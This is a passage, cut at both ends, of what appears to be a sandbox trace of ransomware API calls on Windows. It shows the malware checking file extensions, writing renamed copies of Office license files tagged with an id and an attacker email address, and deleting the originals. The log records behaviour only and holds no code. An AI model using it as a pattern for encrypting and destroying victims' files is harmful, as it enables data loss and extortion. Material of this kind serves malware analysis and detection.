(lpString1=".docx", lpString2="rm-ms") returned -1 [0285.334] lstrlenW (lpString=".pdf") returned 4 [0285.334] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.334] lstrlenW (lpString=".xls") returned 4 [0285.334] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.334] lstrlenW (lpString=".xlsx") returned 5 [0285.334] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.334] lstrlenW (lpString=".ppt") returned 4 [0285.335] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.335] lstrlenW (lpString=".zip") returned 4 [0285.335] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString=".rar") returned 4 [0285.335] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString=".bz2") returned 4 [0285.335] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString=".7z") returned 3 [0285.335] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.335] lstrlenW (lpString=".dbf") returned 4 [0285.335] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.335] lstrlenW (lpString=".1cd") returned 4 [0285.335] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0285.335] lstrlenW (lpString=".jpg") returned 4 [0285.335] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.336] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=9601) returned 1 [0285.336] CloseHandle (hObject=0x54c) returned 1 [0285.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0285.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.337] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.337] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.338] GetLastError () returned 0x0 [0285.338] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2581, lpOverlapped=0x0) returned 1 [0285.395] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2590, lpOverlapped=0x0) returned 1 [0285.396] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.396] WriteFile (in: hFile=0x4ac, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x10c, lpOverlapped=0x0) returned 1 [0285.396] SetEndOfFile (hFile=0x4ac) returned 1 [0285.690] CloseHandle (hObject=0x4ac) returned 1 [0285.844] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.844] SetEndOfFile (hFile=0x54c) returned 1 [0285.848] CloseHandle (hObject=0x54c) returned 1 [0285.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0285.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.852] lstrlenW (lpString=".doc") returned 4 [0285.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.852] lstrlenW (lpString=".docx") returned 5 [0285.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.852] lstrlenW (lpString=".pdf") returned 4 [0285.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.852] lstrlenW (lpString=".xls") returned 4 [0285.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.852] lstrlenW (lpString=".xlsx") returned 5 [0285.852] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.852] lstrlenW (lpString=".ppt") returned 4 [0285.852] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.853] lstrlenW (lpString=".zip") returned 4 [0285.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString=".rar") returned 4 [0285.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString=".bz2") returned 4 [0285.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString=".7z") returned 3 [0285.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.853] lstrlenW (lpString=".dbf") returned 4 [0285.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.853] lstrlenW (lpString=".1cd") returned 4 [0285.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0285.853] lstrlenW (lpString=".jpg") returned 4 [0285.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.854] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11644) returned 1 [0285.854] CloseHandle (hObject=0x54c) returned 1 [0285.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0285.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.855] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.855] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0285.856] GetLastError () returned 0x0 [0285.856] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0286.073] WriteFile (in: hFile=0x568, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0286.074] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.074] WriteFile (in: hFile=0x568, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.074] SetEndOfFile (hFile=0x568) returned 1 [0286.074] CloseHandle (hObject=0x568) returned 1 [0286.074] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.074] SetEndOfFile (hFile=0x54c) returned 1 [0286.078] CloseHandle (hObject=0x54c) returned 1 [0286.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0286.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.079] lstrlenW (lpString=".doc") returned 4 [0286.079] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".docx") returned 5 [0286.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.080] lstrlenW (lpString=".pdf") returned 4 [0286.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".xls") returned 4 [0286.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".xlsx") returned 5 [0286.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.080] lstrlenW (lpString=".ppt") returned 4 [0286.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.080] lstrlenW (lpString=".zip") returned 4 [0286.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".rar") returned 4 [0286.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".bz2") returned 4 [0286.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString=".7z") returned 3 [0286.080] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.080] lstrlenW (lpString=".dbf") returned 4 [0286.080] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.080] lstrlenW (lpString=".1cd") returned 4 [0286.080] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0286.080] lstrlenW (lpString=".jpg") returned 4 [0286.080] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.082] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19982) returned 1 [0286.082] CloseHandle (hObject=0x54c) returned 1 [0286.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0286.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.082] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.083] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0286.083] GetLastError () returned 0x0 [0286.083] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0286.160] WriteFile (in: hFile=0x568, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0286.162] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.162] WriteFile (in: hFile=0x568, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x124, lpOverlapped=0x0) returned 1 [0286.162] SetEndOfFile (hFile=0x568) returned 1 [0286.162] CloseHandle (hObject=0x568) returned 1 [0286.162] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.162] SetEndOfFile (hFile=0x54c) returned 1 [0286.182] CloseHandle (hObject=0x54c) returned 1 [0286.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0286.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.185] lstrlenW (lpString=".doc") returned 4 [0286.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.185] lstrlenW (lpString=".docx") returned 5 [0286.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.185] lstrlenW (lpString=".pdf") returned 4 [0286.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString=".xls") returned 4 [0286.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString=".xlsx") returned 5 [0286.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.186] lstrlenW (lpString=".ppt") returned 4 [0286.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.186] lstrlenW (lpString=".zip") returned 4 [0286.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString=".rar") returned 4 [0286.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString=".bz2") returned 4 [0286.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString=".7z") returned 3 [0286.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.186] lstrlenW (lpString=".dbf") returned 4 [0286.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.186] lstrlenW (lpString=".1cd") returned 4 [0286.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0286.186] lstrlenW (lpString=".jpg") returned 4 [0286.186] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.187] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=22033) returned 1 [0286.187] CloseHandle (hObject=0x54c) returned 1 [0286.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0286.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.188] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.188] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.189] GetLastError () returned 0x0 [0286.189] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x5611, lpOverlapped=0x0) returned 1 [0286.202] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5620, lpOverlapped=0x0) returned 1 [0286.203] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.204] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x110, lpOverlapped=0x0) returned 1 [0286.204] SetEndOfFile (hFile=0x564) returned 1 [0286.204] CloseHandle (hObject=0x564) returned 1 [0286.204] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.204] SetEndOfFile (hFile=0x54c) returned 1 [0286.207] CloseHandle (hObject=0x54c) returned 1 [0286.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0286.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.209] lstrlenW (lpString=".doc") returned 4 [0286.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.209] lstrlenW 